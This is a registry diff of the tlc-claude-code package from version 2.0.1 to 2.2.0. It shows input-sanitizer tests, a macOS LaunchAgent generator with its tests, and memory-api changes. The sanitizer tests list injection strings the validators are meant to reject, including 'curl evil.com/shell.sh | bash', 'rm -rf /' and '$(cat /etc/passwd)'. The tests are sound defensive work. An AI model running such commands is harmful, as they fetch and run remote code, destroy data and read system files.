tlc-claude-code 2.0.1 → 2.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (109) hide show
  1. package/.claude/agents/builder.md +144 -0
  2. package/.claude/agents/planner.md +143 -0
  3. package/.claude/agents/reviewer.md +160 -0
  4. package/.claude/commands/tlc/build.md +4 -0
  5. package/.claude/commands/tlc/deploy.md +194 -2
  6. package/.claude/commands/tlc/e2e-verify.md +214 -0
  7. package/.claude/commands/tlc/guard.md +191 -0
  8. package/.claude/commands/tlc/help.md +32 -0
  9. package/.claude/commands/tlc/init.md +73 -37
  10. package/.claude/commands/tlc/llm.md +19 -4
  11. package/.claude/commands/tlc/preflight.md +134 -0
  12. package/.claude/commands/tlc/review-plan.md +363 -0
  13. package/.claude/commands/tlc/review.md +172 -57
  14. package/.claude/commands/tlc/watchci.md +159 -0
  15. package/.claude/hooks/tlc-block-tools.sh +41 -0
  16. package/.claude/hooks/tlc-capture-exchange.sh +50 -0
  17. package/.claude/hooks/tlc-post-build.sh +38 -0
  18. package/.claude/hooks/tlc-post-push.sh +22 -0
  19. package/.claude/hooks/tlc-prompt-guard.sh +69 -0
  20. package/.claude/hooks/tlc-session-init.sh +123 -0
  21. package/CLAUDE.md +13 -0
  22. package/bin/install.js +268 -2
  23. package/bin/postinstall.js +102 -24
  24. package/bin/setup-autoupdate.js +206 -0
  25. package/bin/setup-autoupdate.test.js +124 -0
  26. package/bin/tlc.js +0 -0
  27. package/dashboard-web/dist/assets/index-CdS5CHqu.css +1 -0
  28. package/dashboard-web/dist/assets/index-CwNPPVpg.js +483 -0
  29. package/dashboard-web/dist/assets/index-CwNPPVpg.js.map +1 -0
  30. package/dashboard-web/dist/index.html +2 -2
  31. package/docker-compose.dev.yml +18 -12
  32. package/package.json +4 -2
  33. package/scripts/project-docs.js +1 -1
  34. package/server/index.js +228 -2
  35. package/server/lib/capture-bridge.js +242 -0
  36. package/server/lib/capture-bridge.test.js +363 -0
  37. package/server/lib/capture-guard.js +140 -0
  38. package/server/lib/capture-guard.test.js +182 -0
  39. package/server/lib/command-runner.js +159 -0
  40. package/server/lib/command-runner.test.js +92 -0
  41. package/server/lib/cost-tracker.test.js +49 -12
  42. package/server/lib/deploy/runners/dependency-runner.js +106 -0
  43. package/server/lib/deploy/runners/dependency-runner.test.js +148 -0
  44. package/server/lib/deploy/runners/secrets-runner.js +174 -0
  45. package/server/lib/deploy/runners/secrets-runner.test.js +127 -0
  46. package/server/lib/deploy/security-gates.js +11 -24
  47. package/server/lib/deploy/security-gates.test.js +9 -2
  48. package/server/lib/deploy-engine.js +182 -0
  49. package/server/lib/deploy-engine.test.js +147 -0
  50. package/server/lib/docker-api.js +137 -0
  51. package/server/lib/docker-api.test.js +202 -0
  52. package/server/lib/docker-client.js +297 -0
  53. package/server/lib/docker-client.test.js +308 -0
  54. package/server/lib/input-sanitizer.js +86 -0
  55. package/server/lib/input-sanitizer.test.js +117 -0
  56. package/server/lib/launchd-agent.js +225 -0
  57. package/server/lib/launchd-agent.test.js +185 -0
  58. package/server/lib/memory-api.js +3 -1
  59. package/server/lib/memory-api.test.js +3 -5
  60. package/server/lib/memory-bridge-e2e.test.js +160 -0
  61. package/server/lib/memory-committer.js +18 -4
  62. package/server/lib/memory-committer.test.js +21 -0
  63. package/server/lib/memory-hooks-capture.test.js +69 -4
  64. package/server/lib/memory-hooks-integration.test.js +98 -0
  65. package/server/lib/memory-hooks.js +42 -4
  66. package/server/lib/memory-store-adapter.js +105 -0
  67. package/server/lib/memory-store-adapter.test.js +141 -0
  68. package/server/lib/memory-wiring-e2e.test.js +93 -0
  69. package/server/lib/nginx-config.js +114 -0
  70. package/server/lib/nginx-config.test.js +82 -0
  71. package/server/lib/ollama-health.js +91 -0
  72. package/server/lib/ollama-health.test.js +74 -0
  73. package/server/lib/orchestration/agent-dispatcher.js +114 -0
  74. package/server/lib/orchestration/agent-dispatcher.test.js +110 -0
  75. package/server/lib/orchestration/orchestrator.js +130 -0
  76. package/server/lib/orchestration/orchestrator.test.js +192 -0
  77. package/server/lib/orchestration/tmux-manager.js +101 -0
  78. package/server/lib/orchestration/tmux-manager.test.js +109 -0
  79. package/server/lib/orchestration/worktree-manager.js +132 -0
  80. package/server/lib/orchestration/worktree-manager.test.js +129 -0
  81. package/server/lib/port-guard.js +44 -0
  82. package/server/lib/port-guard.test.js +65 -0
  83. package/server/lib/project-scanner.js +37 -2
  84. package/server/lib/project-scanner.test.js +152 -0
  85. package/server/lib/remember-command.js +2 -0
  86. package/server/lib/remember-command.test.js +23 -0
  87. package/server/lib/review/plan-reviewer.js +260 -0
  88. package/server/lib/review/plan-reviewer.test.js +269 -0
  89. package/server/lib/review/review-schemas.js +173 -0
  90. package/server/lib/review/review-schemas.test.js +152 -0
  91. package/server/lib/security/crypto-utils.test.js +2 -2
  92. package/server/lib/semantic-recall.js +1 -1
  93. package/server/lib/semantic-recall.test.js +17 -0
  94. package/server/lib/ssh-client.js +184 -0
  95. package/server/lib/ssh-client.test.js +127 -0
  96. package/server/lib/vps-api.js +184 -0
  97. package/server/lib/vps-api.test.js +208 -0
  98. package/server/lib/vps-bootstrap.js +124 -0
  99. package/server/lib/vps-bootstrap.test.js +79 -0
  100. package/server/lib/vps-monitor.js +126 -0
  101. package/server/lib/vps-monitor.test.js +98 -0
  102. package/server/lib/workspace-api.js +182 -1
  103. package/server/lib/workspace-api.test.js +474 -0
  104. package/server/package-lock.json +737 -0
  105. package/server/package.json +3 -0
  106. package/server/setup.sh +271 -271
  107. package/dashboard-web/dist/assets/index-Uhc49PE-.css +0 -1
  108. package/dashboard-web/dist/assets/index-W36XHPC5.js +0 -431
  109. package/dashboard-web/dist/assets/index-W36XHPC5.js.map +0 -1
@@ -0,0 +1,117 @@
1
+ import { describe, it, expect } from 'vitest';
2
+
3
+ const { isValidDomain, isValidBranch, isValidRepoUrl, isValidUsername, isValidProjectName } = await import('./input-sanitizer.js');
4
+
5
+ describe('Input Sanitizer', () => {
6
+ describe('isValidDomain', () => {
7
+ it('accepts valid domains', () => {
8
+ expect(isValidDomain('example.com')).toBe(true);
9
+ expect(isValidDomain('myapp.dev')).toBe(true);
10
+ expect(isValidDomain('sub.domain.example.com')).toBe(true);
11
+ expect(isValidDomain('a.io')).toBe(true);
12
+ });
13
+
14
+ it('rejects domains with shell metacharacters', () => {
15
+ expect(isValidDomain('example.com; rm -rf /')).toBe(false);
16
+ expect(isValidDomain('example.com`whoami`')).toBe(false);
17
+ expect(isValidDomain('example.com$(cat /etc/passwd)')).toBe(false);
18
+ expect(isValidDomain('example.com | curl evil.com')).toBe(false);
19
+ });
20
+
21
+ it('rejects nginx injection attempts', () => {
22
+ expect(isValidDomain('myapp.dev; include /etc/passwd;')).toBe(false);
23
+ expect(isValidDomain('myapp.dev\nserver_name evil.com')).toBe(false);
24
+ });
25
+
26
+ it('rejects empty/null/undefined', () => {
27
+ expect(isValidDomain('')).toBe(false);
28
+ expect(isValidDomain(null)).toBe(false);
29
+ expect(isValidDomain(undefined)).toBe(false);
30
+ });
31
+ });
32
+
33
+ describe('isValidBranch', () => {
34
+ it('accepts valid branch names', () => {
35
+ expect(isValidBranch('main')).toBe(true);
36
+ expect(isValidBranch('feature/login')).toBe(true);
37
+ expect(isValidBranch('fix-bug-123')).toBe(true);
38
+ expect(isValidBranch('release/v1.0.0')).toBe(true);
39
+ });
40
+
41
+ it('rejects branches with shell metacharacters', () => {
42
+ expect(isValidBranch('main; rm -rf /')).toBe(false);
43
+ expect(isValidBranch('main`whoami`')).toBe(false);
44
+ expect(isValidBranch('main$(cat /etc/passwd)')).toBe(false);
45
+ expect(isValidBranch('main | curl evil.com')).toBe(false);
46
+ });
47
+
48
+ it('rejects path traversal', () => {
49
+ expect(isValidBranch('../../../etc/passwd')).toBe(false);
50
+ });
51
+
52
+ it('rejects empty/null', () => {
53
+ expect(isValidBranch('')).toBe(false);
54
+ expect(isValidBranch(null)).toBe(false);
55
+ });
56
+ });
57
+
58
+ describe('isValidRepoUrl', () => {
59
+ it('accepts valid git URLs', () => {
60
+ expect(isValidRepoUrl('git@github.com:user/repo.git')).toBe(true);
61
+ expect(isValidRepoUrl('https://github.com/user/repo.git')).toBe(true);
62
+ expect(isValidRepoUrl('https://github.com/user/repo')).toBe(true);
63
+ });
64
+
65
+ it('rejects injection attempts', () => {
66
+ expect(isValidRepoUrl('; curl evil.com/shell.sh | bash;')).toBe(false);
67
+ expect(isValidRepoUrl('git@github.com:user/repo.git; rm -rf /')).toBe(false);
68
+ expect(isValidRepoUrl('$(whoami)')).toBe(false);
69
+ });
70
+
71
+ it('rejects empty/null', () => {
72
+ expect(isValidRepoUrl('')).toBe(false);
73
+ expect(isValidRepoUrl(null)).toBe(false);
74
+ });
75
+ });
76
+
77
+ describe('isValidUsername', () => {
78
+ it('accepts valid usernames', () => {
79
+ expect(isValidUsername('deploy')).toBe(true);
80
+ expect(isValidUsername('_admin')).toBe(true);
81
+ expect(isValidUsername('deploy-user')).toBe(true);
82
+ });
83
+
84
+ it('rejects injection attempts', () => {
85
+ expect(isValidUsername('deploy; rm -rf /')).toBe(false);
86
+ expect(isValidUsername('deploy`whoami`')).toBe(false);
87
+ });
88
+
89
+ it('rejects empty/null', () => {
90
+ expect(isValidUsername('')).toBe(false);
91
+ expect(isValidUsername(null)).toBe(false);
92
+ });
93
+ });
94
+
95
+ describe('isValidProjectName', () => {
96
+ it('accepts valid project names', () => {
97
+ expect(isValidProjectName('myapp')).toBe(true);
98
+ expect(isValidProjectName('my-app')).toBe(true);
99
+ expect(isValidProjectName('my_app.v2')).toBe(true);
100
+ });
101
+
102
+ it('rejects path traversal', () => {
103
+ expect(isValidProjectName('../etc/passwd')).toBe(false);
104
+ expect(isValidProjectName('foo/bar')).toBe(false);
105
+ });
106
+
107
+ it('rejects injection attempts', () => {
108
+ expect(isValidProjectName('myapp; rm -rf /')).toBe(false);
109
+ expect(isValidProjectName('myapp$(whoami)')).toBe(false);
110
+ });
111
+
112
+ it('rejects empty/null', () => {
113
+ expect(isValidProjectName('')).toBe(false);
114
+ expect(isValidProjectName(null)).toBe(false);
115
+ });
116
+ });
117
+ });
@@ -0,0 +1,225 @@
1
+ /**
2
+ * LaunchAgent plist generator for macOS.
3
+ *
4
+ * Generates, installs, and manages a macOS LaunchAgent that keeps
5
+ * the TLC server running permanently — auto-starts on login,
6
+ * auto-restarts on crash.
7
+ *
8
+ * @module launchd-agent
9
+ */
10
+
11
+ const fs = require('fs');
12
+ const path = require('path');
13
+ const os = require('os');
14
+
15
+ /** LaunchAgent label */
16
+ const PLIST_LABEL = 'com.tlc.server';
17
+
18
+ /** Default plist install location */
19
+ const PLIST_PATH = path.join(os.homedir(), 'Library', 'LaunchAgents', `${PLIST_LABEL}.plist`);
20
+
21
+ /**
22
+ * Generate a macOS LaunchAgent plist XML string.
23
+ *
24
+ * @param {object} opts
25
+ * @param {string} opts.projectRoot - Absolute path to the TLC project
26
+ * @param {number} [opts.port=3147] - Server port
27
+ * @returns {string} Valid XML plist
28
+ */
29
+ function generatePlist(opts) {
30
+ const { projectRoot, port = 3147 } = opts;
31
+ const nodePath = process.execPath;
32
+ const serverScript = path.join(projectRoot, 'server', 'index.js');
33
+ const logDir = path.join(os.homedir(), '.tlc', 'logs');
34
+ const logFile = path.join(logDir, 'server.log');
35
+ const envPath = process.env.PATH || '/usr/local/bin:/usr/bin:/bin';
36
+
37
+ return `<?xml version="1.0" encoding="UTF-8"?>
38
+ <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
39
+ <plist version="1.0">
40
+ <dict>
41
+ <key>Label</key>
42
+ <string>${PLIST_LABEL}</string>
43
+
44
+ <key>ProgramArguments</key>
45
+ <array>
46
+ <string>${nodePath}</string>
47
+ <string>${serverScript}</string>
48
+ </array>
49
+
50
+ <key>WorkingDirectory</key>
51
+ <string>${projectRoot}</string>
52
+
53
+ <key>EnvironmentVariables</key>
54
+ <dict>
55
+ <key>PATH</key>
56
+ <string>${envPath}</string>
57
+ <key>HOME</key>
58
+ <string>${os.homedir()}</string>
59
+ <key>NODE_ENV</key>
60
+ <string>development</string>
61
+ <key>TLC_PORT</key>
62
+ <string>${port}</string>
63
+ </dict>
64
+
65
+ <key>KeepAlive</key>
66
+ <true/>
67
+
68
+ <key>ThrottleInterval</key>
69
+ <integer>10</integer>
70
+
71
+ <key>StandardOutPath</key>
72
+ <string>${logFile}</string>
73
+
74
+ <key>StandardErrorPath</key>
75
+ <string>${logFile}</string>
76
+ </dict>
77
+ </plist>
78
+ `;
79
+ }
80
+
81
+ /**
82
+ * Write the plist file to disk.
83
+ *
84
+ * @param {object} opts
85
+ * @param {string} opts.projectRoot - Absolute path to the TLC project
86
+ * @param {string} [opts.targetDir] - Override install directory (for testing)
87
+ * @param {number} [opts.port=3147] - Server port
88
+ */
89
+ function installAgent(opts) {
90
+ const targetDir = opts.targetDir || path.join(os.homedir(), 'Library', 'LaunchAgents');
91
+ const plistPath = path.join(targetDir, `${PLIST_LABEL}.plist`);
92
+
93
+ // Ensure log directory exists
94
+ const logDir = path.join(os.homedir(), '.tlc', 'logs');
95
+ if (!fs.existsSync(logDir)) {
96
+ fs.mkdirSync(logDir, { recursive: true });
97
+ }
98
+
99
+ // Ensure target directory exists
100
+ if (!fs.existsSync(targetDir)) {
101
+ fs.mkdirSync(targetDir, { recursive: true });
102
+ }
103
+
104
+ const xml = generatePlist(opts);
105
+ fs.writeFileSync(plistPath, xml, 'utf-8');
106
+ }
107
+
108
+ /**
109
+ * Remove the plist file from disk.
110
+ *
111
+ * @param {object} [opts]
112
+ * @param {string} [opts.targetDir] - Override install directory (for testing)
113
+ */
114
+ function uninstallAgent(opts = {}) {
115
+ const targetDir = opts.targetDir || path.join(os.homedir(), 'Library', 'LaunchAgents');
116
+ const plistPath = path.join(targetDir, `${PLIST_LABEL}.plist`);
117
+
118
+ if (fs.existsSync(plistPath)) {
119
+ fs.unlinkSync(plistPath);
120
+ }
121
+ }
122
+
123
+ /**
124
+ * Check if the plist file is installed.
125
+ *
126
+ * @param {object} [opts]
127
+ * @param {string} [opts.targetDir] - Override install directory (for testing)
128
+ * @returns {boolean}
129
+ */
130
+ function isInstalled(opts = {}) {
131
+ const targetDir = opts.targetDir || path.join(os.homedir(), 'Library', 'LaunchAgents');
132
+ const plistPath = path.join(targetDir, `${PLIST_LABEL}.plist`);
133
+ return fs.existsSync(plistPath);
134
+ }
135
+
136
+ /**
137
+ * Load the agent into launchd.
138
+ *
139
+ * @param {object} [opts]
140
+ * @param {Function} [opts.exec] - Async exec function (for testing)
141
+ * @param {string} [opts.targetDir] - Override install directory
142
+ * @returns {Promise<{ok: boolean, error?: string}>}
143
+ */
144
+ async function loadAgent(opts = {}) {
145
+ const exec = opts.exec || defaultExec;
146
+ const targetDir = opts.targetDir || path.join(os.homedir(), 'Library', 'LaunchAgents');
147
+ const plistPath = path.join(targetDir, `${PLIST_LABEL}.plist`);
148
+
149
+ try {
150
+ await exec(`launchctl load -w ${plistPath}`);
151
+ return { ok: true };
152
+ } catch (err) {
153
+ return { ok: false, error: err.message };
154
+ }
155
+ }
156
+
157
+ /**
158
+ * Unload the agent from launchd and remove the plist.
159
+ *
160
+ * @param {object} [opts]
161
+ * @param {Function} [opts.exec] - Async exec function (for testing)
162
+ * @param {string} [opts.targetDir] - Override install directory
163
+ * @returns {Promise<{ok: boolean, error?: string}>}
164
+ */
165
+ async function unloadAgent(opts = {}) {
166
+ const exec = opts.exec || defaultExec;
167
+ const targetDir = opts.targetDir || path.join(os.homedir(), 'Library', 'LaunchAgents');
168
+ const plistPath = path.join(targetDir, `${PLIST_LABEL}.plist`);
169
+
170
+ try {
171
+ await exec(`launchctl unload ${plistPath}`);
172
+ } catch {
173
+ // Agent may not be loaded — that's fine
174
+ }
175
+
176
+ uninstallAgent({ targetDir });
177
+ return { ok: true };
178
+ }
179
+
180
+ /**
181
+ * Check if the agent is loaded in launchd.
182
+ *
183
+ * @param {object} [opts]
184
+ * @param {Function} [opts.exec] - Async exec function (for testing)
185
+ * @returns {Promise<{loaded: boolean, pid?: number}>}
186
+ */
187
+ async function statusAgent(opts = {}) {
188
+ const exec = opts.exec || defaultExec;
189
+
190
+ try {
191
+ const { stdout } = await exec(`launchctl list ${PLIST_LABEL}`);
192
+ const parts = stdout.trim().split('\t');
193
+ const pid = parts[0] && parts[0] !== '-' ? parseInt(parts[0], 10) : null;
194
+ return { loaded: true, pid };
195
+ } catch {
196
+ return { loaded: false };
197
+ }
198
+ }
199
+
200
+ /**
201
+ * Default exec using child_process.
202
+ * @param {string} cmd
203
+ * @returns {Promise<{stdout: string, stderr: string}>}
204
+ */
205
+ function defaultExec(cmd) {
206
+ const { exec } = require('child_process');
207
+ return new Promise((resolve, reject) => {
208
+ exec(cmd, (err, stdout, stderr) => {
209
+ if (err) return reject(err);
210
+ resolve({ stdout, stderr });
211
+ });
212
+ });
213
+ }
214
+
215
+ module.exports = {
216
+ generatePlist,
217
+ installAgent,
218
+ uninstallAgent,
219
+ isInstalled,
220
+ loadAgent,
221
+ unloadAgent,
222
+ statusAgent,
223
+ PLIST_LABEL,
224
+ PLIST_PATH,
225
+ };
@@ -0,0 +1,185 @@
1
+ /**
2
+ * LaunchAgent plist generator tests - Phase 83 Task 1
3
+ */
4
+
5
+ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
6
+ import path from 'path';
7
+ import os from 'os';
8
+ import fs from 'fs';
9
+
10
+ import {
11
+ generatePlist,
12
+ installAgent,
13
+ uninstallAgent,
14
+ isInstalled,
15
+ loadAgent,
16
+ unloadAgent,
17
+ statusAgent,
18
+ PLIST_LABEL,
19
+ PLIST_PATH,
20
+ } from './launchd-agent.js';
21
+
22
+ describe('launchd-agent', () => {
23
+ describe('generatePlist', () => {
24
+ it('returns valid XML with correct label', () => {
25
+ const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
26
+ expect(xml).toContain('<?xml version="1.0"');
27
+ expect(xml).toContain('<!DOCTYPE plist');
28
+ expect(xml).toContain('<string>com.tlc.server</string>');
29
+ });
30
+
31
+ it('includes KeepAlive and ThrottleInterval', () => {
32
+ const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
33
+ expect(xml).toContain('<key>KeepAlive</key>');
34
+ expect(xml).toContain('<true/>');
35
+ expect(xml).toContain('<key>ThrottleInterval</key>');
36
+ expect(xml).toContain('<integer>10</integer>');
37
+ });
38
+
39
+ it('sets WorkingDirectory to project root', () => {
40
+ const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
41
+ expect(xml).toContain('<key>WorkingDirectory</key>');
42
+ expect(xml).toContain('<string>/Users/dev/myproject</string>');
43
+ });
44
+
45
+ it('sets EnvironmentVariables including PATH and NODE_ENV', () => {
46
+ const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
47
+ expect(xml).toContain('<key>EnvironmentVariables</key>');
48
+ expect(xml).toContain('<key>NODE_ENV</key>');
49
+ expect(xml).toContain('<string>development</string>');
50
+ expect(xml).toContain('<key>PATH</key>');
51
+ });
52
+
53
+ it('uses absolute node path in ProgramArguments', () => {
54
+ const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
55
+ expect(xml).toContain('<key>ProgramArguments</key>');
56
+ // Should contain path to node and path to server/index.js
57
+ expect(xml).toContain('server/index.js');
58
+ });
59
+
60
+ it('sets log paths under ~/.tlc/logs/', () => {
61
+ const xml = generatePlist({ projectRoot: '/Users/dev/myproject' });
62
+ expect(xml).toContain('<key>StandardOutPath</key>');
63
+ expect(xml).toContain('<key>StandardErrorPath</key>');
64
+ expect(xml).toContain('.tlc/logs/server.log');
65
+ });
66
+
67
+ it('allows custom port via opts', () => {
68
+ const xml = generatePlist({ projectRoot: '/Users/dev/myproject', port: 4000 });
69
+ expect(xml).toContain('<key>TLC_PORT</key>');
70
+ expect(xml).toContain('<string>4000</string>');
71
+ });
72
+ });
73
+
74
+ describe('installAgent', () => {
75
+ let tmpDir;
76
+
77
+ beforeEach(() => {
78
+ tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tlc-launchd-'));
79
+ });
80
+
81
+ afterEach(() => {
82
+ fs.rmSync(tmpDir, { recursive: true, force: true });
83
+ });
84
+
85
+ it('writes plist file to target directory', () => {
86
+ const plistPath = path.join(tmpDir, 'com.tlc.server.plist');
87
+ installAgent({ projectRoot: '/Users/dev/myproject', targetDir: tmpDir });
88
+ expect(fs.existsSync(plistPath)).toBe(true);
89
+ const content = fs.readFileSync(plistPath, 'utf-8');
90
+ expect(content).toContain('com.tlc.server');
91
+ });
92
+ });
93
+
94
+ describe('uninstallAgent', () => {
95
+ let tmpDir;
96
+
97
+ beforeEach(() => {
98
+ tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tlc-launchd-'));
99
+ });
100
+
101
+ afterEach(() => {
102
+ fs.rmSync(tmpDir, { recursive: true, force: true });
103
+ });
104
+
105
+ it('removes plist file', () => {
106
+ const plistPath = path.join(tmpDir, 'com.tlc.server.plist');
107
+ fs.writeFileSync(plistPath, '<plist/>');
108
+ uninstallAgent({ targetDir: tmpDir });
109
+ expect(fs.existsSync(plistPath)).toBe(false);
110
+ });
111
+ });
112
+
113
+ describe('isInstalled', () => {
114
+ let tmpDir;
115
+
116
+ beforeEach(() => {
117
+ tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tlc-launchd-'));
118
+ });
119
+
120
+ afterEach(() => {
121
+ fs.rmSync(tmpDir, { recursive: true, force: true });
122
+ });
123
+
124
+ it('returns true when plist exists', () => {
125
+ fs.writeFileSync(path.join(tmpDir, 'com.tlc.server.plist'), '<plist/>');
126
+ expect(isInstalled({ targetDir: tmpDir })).toBe(true);
127
+ });
128
+
129
+ it('returns false when plist does not exist', () => {
130
+ expect(isInstalled({ targetDir: tmpDir })).toBe(false);
131
+ });
132
+ });
133
+
134
+ describe('loadAgent', () => {
135
+ it('calls launchctl load with correct path', async () => {
136
+ const mockExec = vi.fn().mockResolvedValue({ stdout: '', stderr: '' });
137
+ const result = await loadAgent({ exec: mockExec, targetDir: '/tmp/agents' });
138
+ expect(mockExec).toHaveBeenCalledWith(
139
+ expect.stringContaining('launchctl load'),
140
+ );
141
+ expect(mockExec).toHaveBeenCalledWith(
142
+ expect.stringContaining('com.tlc.server.plist'),
143
+ );
144
+ });
145
+ });
146
+
147
+ describe('unloadAgent', () => {
148
+ it('calls launchctl unload then removes plist', async () => {
149
+ const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tlc-launchd-'));
150
+ const plistPath = path.join(tmpDir, 'com.tlc.server.plist');
151
+ fs.writeFileSync(plistPath, '<plist/>');
152
+
153
+ const mockExec = vi.fn().mockResolvedValue({ stdout: '', stderr: '' });
154
+ await unloadAgent({ exec: mockExec, targetDir: tmpDir });
155
+
156
+ expect(mockExec).toHaveBeenCalledWith(
157
+ expect.stringContaining('launchctl unload'),
158
+ );
159
+ expect(fs.existsSync(plistPath)).toBe(false);
160
+
161
+ fs.rmSync(tmpDir, { recursive: true, force: true });
162
+ });
163
+ });
164
+
165
+ describe('statusAgent', () => {
166
+ it('returns loaded when launchctl finds the agent', async () => {
167
+ const mockExec = vi.fn().mockResolvedValue({ stdout: '12345\t0\tcom.tlc.server', stderr: '' });
168
+ const result = await statusAgent({ exec: mockExec });
169
+ expect(result.loaded).toBe(true);
170
+ expect(result.pid).toBeDefined();
171
+ });
172
+
173
+ it('returns not loaded when launchctl does not find agent', async () => {
174
+ const mockExec = vi.fn().mockRejectedValue(new Error('Could not find service'));
175
+ const result = await statusAgent({ exec: mockExec });
176
+ expect(result.loaded).toBe(false);
177
+ });
178
+ });
179
+
180
+ describe('constants', () => {
181
+ it('exports correct plist label', () => {
182
+ expect(PLIST_LABEL).toBe('com.tlc.server');
183
+ });
184
+ });
185
+ });
@@ -28,7 +28,7 @@
28
28
  * @param {object} deps.memoryStore - Memory store with list/get methods
29
29
  * @returns {object} Handler methods for each memory endpoint
30
30
  */
31
- export function createMemoryApi({ semanticRecall, vectorIndexer, richCapture, embeddingClient, memoryStore }) {
31
+ function createMemoryApi({ semanticRecall, vectorIndexer, richCapture, embeddingClient, memoryStore }) {
32
32
 
33
33
  /**
34
34
  * Search memory semantically.
@@ -178,3 +178,5 @@ export function createMemoryApi({ semanticRecall, vectorIndexer, richCapture, em
178
178
  handleRemember,
179
179
  };
180
180
  }
181
+
182
+ module.exports = { createMemoryApi };
@@ -1,6 +1,6 @@
1
1
  /**
2
2
  * @file memory-api.test.js
3
- * @description Tests for the Memory API endpoint handlers (Phase 74, Task 1).
3
+ * @description Tests for the Memory API endpoint handlers.
4
4
  *
5
5
  * Tests the factory function `createMemoryApi(deps)` which accepts injected
6
6
  * dependencies (semanticRecall, vectorIndexer, richCapture, embeddingClient,
@@ -11,7 +11,8 @@
11
11
  * routing is tested here.
12
12
  */
13
13
  import { describe, it, beforeEach, expect, vi } from 'vitest';
14
- import { createMemoryApi } from './memory-api.js';
14
+
15
+ const { createMemoryApi } = await import('./memory-api.js');
15
16
 
16
17
  /**
17
18
  * Creates a mock Express request object.
@@ -294,7 +295,6 @@ describe('memory-api', () => {
294
295
  it('project filter works across endpoints', async () => {
295
296
  const projectId = 'proj-abc';
296
297
 
297
- // Test project filter on conversations
298
298
  const convReq = createMockReq({ query: { project: projectId, page: '1', limit: '10' } });
299
299
  const convRes = createMockRes();
300
300
  await api.handleListConversations(convReq, convRes);
@@ -302,7 +302,6 @@ describe('memory-api', () => {
302
302
  expect.objectContaining({ project: projectId })
303
303
  );
304
304
 
305
- // Test project filter on decisions
306
305
  const decReq = createMockReq({ query: { project: projectId } });
307
306
  const decRes = createMockRes();
308
307
  await api.handleListDecisions(decReq, decRes);
@@ -310,7 +309,6 @@ describe('memory-api', () => {
310
309
  expect.objectContaining({ project: projectId })
311
310
  );
312
311
 
313
- // Test project filter on gotchas
314
312
  const gotReq = createMockReq({ query: { project: projectId } });
315
313
  const gotRes = createMockRes();
316
314
  await api.handleListGotchas(gotReq, gotRes);